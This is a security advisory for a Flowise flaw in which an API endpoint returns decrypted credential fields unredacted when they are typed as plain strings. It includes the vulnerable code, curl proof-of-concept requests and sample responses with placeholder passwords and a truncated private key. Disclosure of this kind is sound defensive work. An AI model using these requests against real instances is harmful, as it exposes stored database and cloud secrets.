SA-26-418 Medium

Flowise: Incomplete Credential Redaction Exposes Secrets via API

Flowise

Severity
Medium, CVSS 6.5
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Record
GHSA-rwrp-9823-p2xq
Affects
Flowise
Known exploited
Not listed in the CISA Known Exploited Vulnerabilities catalog
Published
Record first published by the source
August 4, 2026
Source last modified
September 2, 2026

Description

Summary

The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as type: 'string'. These string-type fields are returned in full plaintext without any redaction.

Any authenticated user with credentials:view permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.

Vulnerable Code

Service Layer

packages/server/src/services/credentials/index.ts, getCredentialById() (line 127):

At line 138, the credential's encrypted data is decrypted:

const decryptedCredentialData = await decryptCredentialData(
    credential.encryptedData,
    credential.credentialName,
    appServer.nodesPool.componentCredentials
)

At lines 143-146, the decrypted data is attached to the response as plainDataObj:

const returnCredential: ICredentialReturnResponse = {
    ...credential,
    plainDataObj: decryptedCredentialData    // <-- decrypted secrets in response
}

At line 147, only encryptedData is stripped, leaving plainDataObj intact:

const dbResponse: any = omit(returnCredential, ['encryptedData'])

Incomplete Redaction

packages/server/src/utils/index.ts, redactCredentialWithPasswordType() (line 1697):

export const redactCredentialWithPasswordType = (
    componentCredentialName: string,
    decryptedCredentialObj: ICredentialDataDecrypted,
    componentCredentials: IComponentCredentials
): ICredentialDataDecrypted => {
    const plainDataObj = cloneDeep(decryptedCredentialObj)
    for (const cred in plainDataObj) {
        const inputParam = componentCredentials[componentCredentialName].inputs?.find(
            (inp) => inp.type === 'password' && inp.name === cred  // <-- only 'password' type
        )
        if (inputParam) {
            plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE
        }
    }
    return plainDataObj
}

This function only redacts fields where inp.type === 'password'. Fields with type: 'string' are returned verbatim, even when they contain secrets.

Credential Definitions Storing Secrets in String-Type Fields

| Credential | Field | Type | Contains | |---|---|---|---| | mongoDBUrlApi | mongoDBConnectUrl | string | mongodb+srv://user:password@host/db | | googleVertexAuth | googleApplicationCredential | string | Full service account JSON with RSA private key | | postgresUrl | postgresUrl | string | postgresql://user:password@host/db | | redisCacheUrlApi | redisUrl | string | redis://user:password@host:port | | awsApi | awsKey | string | AWS Access Key ID | | langfuseApi | langFusePublicKey | string | Langfuse API public key | | httpBasicAuth | basicAuthUsername | string | HTTP Basic Auth username |

There are 60+ credential definitions in packages/components/credentials/, many with sensitive string-type fields.

Proof of Concept

Environment

- Flowise v3.0.13 (flowiseai/flowise:latest Docker image) - Authenticated as admin user via enterprise auth

Steps to Reproduce

1. Start Flowise and log in as any user with credentials:view permission. 2. Create a MongoDB credential with a connection URL containing embedded credentials:

curl -X POST "http://TARGET:3000/api/v1/credentials" \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>" \
  -d '{
    "name": "MongoDB Production",
    "credentialName": "mongoDBUrlApi",
    "plainDataObj": {
      "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
    }
  }'

3. Retrieve the credential by ID:

curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>"

Observed Result

The API returns the MongoDB connection URL in full plaintext, including the embedded password:

{
  "id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab",
  "name": "MongoDB Production",
  "credentialName": "mongoDBUrlApi",
  "createdDate": "2026-02-07T17:35:29.000Z",
  "updatedDate": "2026-02-07T17:35:29.000Z",
  "plainDataObj": {
    "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb"
  }
}

The same test with a Google Vertex Auth credential returned the complete service account JSON including the RSA private key in plaintext:

{
  "id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56",
  "name": "Google Vertex Auth",
  "credentialName": "googleVertexAuth",
  "plainDataObj": {
    "googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"mybot@my-project-123.iam.gserviceaccount.com\"}",
    "projectID": "my-project-123"
  }
}

For comparison, an OpenAI API key (where the field is typed as password) was correctly redacted:

{
  "plainDataObj": {
    "openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-"
  }
}

This confirms the redaction is only applied to password-type fields, leaving string-type fields fully exposed.

Impact

- Database credential theft: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases. - Cloud service account compromise: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account [...]

Description quoted from the GitHub Advisory Database.

Sources

MORE ADVISORIES

See all